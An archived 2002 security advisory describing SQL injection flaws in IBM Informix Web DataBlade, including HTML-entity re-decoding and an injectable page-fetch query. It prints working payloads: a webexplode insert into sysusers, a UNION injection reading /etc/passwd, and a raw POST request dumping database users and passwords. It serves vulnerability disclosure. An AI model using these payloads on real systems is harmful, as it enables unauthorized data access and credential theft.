TUCoPS :: Web :: General :: web5259.htm

IBM Informix Web DataBlade SQL injection via HTML header
15th Apr 2002 [SBWID-5259]
COMMAND

	IBM Informix Web DataBlade SQL injection via HTML header

SYSTEMS AFFECTED

	Web DataBlade 4.12, IDS 9.20/9.21, Linux 2.2/2.4, SunOS 5.7

PROBLEM

	Simon Lodal says :
	

	

	 Auto-decoding HTML entities

	 ============================

	

	HTML encoded strings are automatically being decoded when  used  in  SQL
	statements. It causes developers to create  code  that  looks  fine  but
	actually contains holes, since the logic is circumvented by WDB.
	

	Any worthy web/database programmer checks all user  input  before  using
	it in an SQL query. WDB has a function $(WEBUNHTML) which  converts  the
	characters <>\"& to their HTML entities. When a string  has  been
	$(WEBUNHTML)\'ed it should thus be safe to  use  it  in  an  SQL  query,
	provided that you enclose the string in double quotes (there can not  be
	any doublequotes inside the string).
	

	But somewhere on the path before the SQL query  is  being  executed  the
	HTML  entities  are  actually  decoded  into  their  original  character
	representations. I have not found this documented anywhere, and even  if
	it is documented I would consider  it  a  bug,  since  this  \"feature\"
	certainly breaks the \"least surprise\" principle, which is a bad  thing
	to do in security related areas.
	

	Example:
	

	<!-- Make inputstr harmless -->

	<?MIVAR NAME=inputstr>$(WEBUNHTML,$inputstr)<?/MIVAR>

	<!-- Build query to insert the checked string -->

	<?MIVAR NAME=qstr>INSERT into mytable VALUES (\"$inputstr\")<?/MIVAR>

	<!-- Execute query -->

	<?MISQL SQL=\"$qstr\"><?/MISQL>

	

	Besides of being an exampe of just how  ugly  WDB  code  is,  this  code
	looks correct;  it  runs  $inputstr  though  the  $(WEBUNHTML)  function
	before inserting. But the query  will  actually  fail  if  the  original
	$inputstr contained a double quote, and it can  therefore  be  exploited
	to execute other SQL code. The string is HTML decoded  again  somewhere,
	that is, the \" is converted back to a real doublequote.
	

	At first one may think that all the user can  do  is  to  make  a  query
	fail, by inserting just one  quote  somewhere,  and  that  the  attacker
	would have to know the exact query in order to actually make it  succeed
	while being  circumvented.  But  it  is  much  simpler  than  that.  The
	webexplode() function will always be available, and it can  be  used  to
	execute SQL of choice. Since it returns string data  it  can  simply  be
	concatenated to other string data, thus executing any SQL, even  without
	interrupting the original query.
	

	Proof of concept: Given the code above, the malicious  user  would  have
	to put something like the following into an  \"inputstr\"  field  in  an
	HTML form and submit it:
	

	\" || webexplode(\"<?MISQL SQL=\'INSERT INTO sysusers VALUES

	(...)\'><?/MISQL>\", NULL) || \"

	

	This INSERT query writes to  a  sensitive  part  of  the  database,  and
	returns nothing at all. The query  on  the  HTML  page  would  therefore
	succeed; nothing is actually changed in the input that it sees. And  the
	attacker does not even have to know the query that is circumvented.
	

	

	 SQL Injection

	 =============

	

	When a user makes a page request, webdriver executes a query  that  will
	both fetch and process  the  page.  This  query  is  vulnerable  to  SQL
	injection attacks, due to bad filtering/escaping of user input.
	

	Example:   Request   for   \"http://victim.com/site/page.html\".    HTTP
	authentication is in use, and a correct user/passwd  has  been  supplied
	(have not tested this without HTTP auth). The webdriver log reports  the
	following query being executed:
	

	SELECT webexplode(object,?::html),req_level FROM wbpages WHERE

	name=\'page\' AND path=\'/\' AND req_level <= 100;

	

	Explanation:  webexplode()  invokes  the  page  engine,   returns   some
	processed HTML. wbpages is the table storing HTML pages,  and  the  rest
	is a breakdown of the request. The path is \"/\" not \"/site/\"  because
	webdriver is configured to operate only under  the  (virtual)  directory
	\"/site\"; that is it\'s root directory.  The  .html  extension  is  not
	part of the query since the extension has already been used  in  another
	query to figure out which table  to  fetch  the  page  from.  The  value
	\"100\" is my personal \"user level\",  which  is  assigned  all  users;
	when not using HTTP auth all users have a value of 0. Each  page  has  a
	corresponding \"page level\" (req_level), thus the protection scheme  is
	that to access a page with page level 200 you must be  authenticated  as
	a user who has a user level >= 200, or get access denied.
	

	Webdriver fails to properly escape  quotes  in  input  data.  A  request
	string  of  \"http://victim.com/site/\'--/page.html\"  will  modify  the
	\"path\" part of the query, resulting in the following SQL  query  being
	executed:
	

	SELECT webexplode(object,?::html),req_level FROM wbpages WHERE

	name=\'page\' AND path=\'/\'--\' and req_level <= 100;

	

	Now we get \"http://victim.com/site/page.html\", or any  other  page  we
	want, regardless of our user level.
	

	Adding a semicolon raises an error, so  you  can  not  execute  multiple
	queries in one operation, and  so  you  can  only  modify  the  existing
	clauses, or add others that will mostly only limit, not widen, what  you
	get. But that is only until you start using UNION queries,  these  allow
	SQL of choice to be inserted.
	

	The point is that webdriver simply  expects  to  get  a  processed  page
	(essentially just a string) and an int value back from  the  query.  How
	these values are created does not matter. As long as  the  final  result
	contains exactly one row, having a string type column and  an  int  type
	column, webdriver will return the string part to the user and be happy.
	

	So the trick is to make the  default  part  of  the  query  (see  above)
	return nothing (no rows), then add another UNION\'ed query that  returns
	the data we actually want.
	

	The webexplode() function returns data of type \"html\", and  since  all
	text types can be cast\'ed to \"html\" is is  easy  to  create  a  UNION
	select; it can simply return any text type plus an int type. Consider:
	

	http://victim.com/site/\' UNION ALL SELECT

	FileToClob(\'/etc/passwd\',\'server\')::html,0 FROM sysusers WHERE username

	= USER --/.html

	

	This will get you:
	

	SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name=\'\'

	AND path=\'/\' UNION ALL SELECT FileToClob(\'/etc/passwd\',\'server\')::html,0

	FROM sysusers WHERE username = USER --\' and req_level <= 100;

	

	The  first  part  of  the  query   returns   no   rows   (as   long   as
	http://victim.com/site/.html does not exist). The second part will  read
	/etc/passwd and return it as the HTML page.
	

	The clause \"FROM sysusers WHERE username=USER\" is a dummy; there  must
	be a FROM clause, and it must produce exactly one row.
	

	This hole is  still  not  fully  exploited.  Adding  a  UNION\'ed  query
	restricts us to  using  SELECT  statements;  even  though  you  can  use
	function expressions to do file I/O it is still not the  same  as  being
	able to execute INSERT, UPDATE, CREATE, DROP etc. So we go  looking  for
	a way to execute entirely standalone SQL statements ... and we find  the
	immediate solution is the webexplode() function, which is by  definition
	available since we are running Web  DataBlade.  It  takes  as  parameter
	some text and a list of environment variables. The  first  parameter  is
	AppPage code (HTML code  with  embedded  queries  and  ugly  programming
	constructs)  which  is   interpreted   by   webexplode().   webexplode()
	processes HTML code with embbeded SQL.
	

	The above request are plain GET request which  can  be  typed  into  the
	address bar of a browser. However there is a limit on  the  query  size,
	so we want  to  use  POST  instead.  The  following  retrieves  an  HTML
	formatted list of all database users and  passwords  (may  be  encrypted
	depending on setup); substitute with  any  SQL  (INSERT,  UPDATE,  DROP,
	etc):
	

	> telnet victim.com 80

	Trying x.x.x.x...

	Connected to victim.com.

	Escape character is \'^]\'.

	POST /site/ HTTP/1.0

	Content-Length: 215

	Content-Type: application/x-www-form-urlencoded

	

	MIval=/\'UNION%20SELECT%20webexplode(\'<html><body><table><?MISQL%20SQL=%22SELECT%20*%20FROM%20wbusers%22><tr>{<td>$*</td>}</tr><?/MISQL></table></body></html>\',\'\'),0%20FROM%20sysusers%20WHERE%20username=USER--/.htmlm

	[ENTER]

	

	

	

	 Similar bugs

	 ============

	

	The query exploited here is only the one used to fetch a page  from  the
	database. If the site is password  protected  you  would  need  a  valid
	login/pass to even get to the point where the page  query  is  executed.
	The HTTP authentication is carried out  by  webdriver,  which  means  it
	makes a query for the provided username and password.  Not  surprisingly
	this query is also buggy. So instead  of  spoofing  the  URL  you  could
	simply add quote  tricks  to  the  username  provided.  There  are  some
	problems with this approach however:
	

	- I have not found the exact username/password query in any logs, so  it
	is hard to say what exactly the query expects. I have just seen the  log
	emitting errors when putting quotes in the username.
	

	- Authentication info may be cached depending  on  configuration,  which
	might mean that the query is not executed (not tested).

SOLUTION

	None yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH